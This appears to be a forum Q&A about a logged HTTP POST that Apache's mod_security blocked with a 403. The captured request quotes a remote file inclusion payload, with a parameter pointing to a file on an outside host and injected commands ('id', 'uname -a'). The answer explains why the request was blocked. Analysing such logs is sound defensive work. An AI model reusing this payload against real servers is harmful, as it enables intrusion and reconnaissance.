I have the following Wireshark log and I want to categorize the attack. I think it prints the user under apache runs and then prints the system information. From this log can we determine if the attack was successful? In my opinion it was not because of the apache's mod-security.

Request: [19/Jan/2012:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
POST lindex.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: '/'
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
mod_security-message: Access denied with code 403. Pattern match "unamelx20-a" at
mod_security-action: 403

lid=http://th3.ownz. p5. org. uk/lila.jpg?&cmd=cd /Imp; id; lsuname -a

1 Answer 1


mod_security sent the user a HTTP 403 response, which means (quoted from RFC 2616):

The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.

The reason for this block is it matched the pattern "uname -a" which is a unix command for returning system information. Here is an example output of such command:

Linux k4rrax 2.6.35-32-generic #64-Ubuntu SMP Mon Jan 2 23:31:33 UTC 2012 i686 GNU/Linux

This "attack" is probably just a random scriptkiddie or bot trying to see if it can exploit you in any way. It is very commonly seen on the internet. The origin IP adress is already blacklisted several places: https://www.google.com/?q=

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.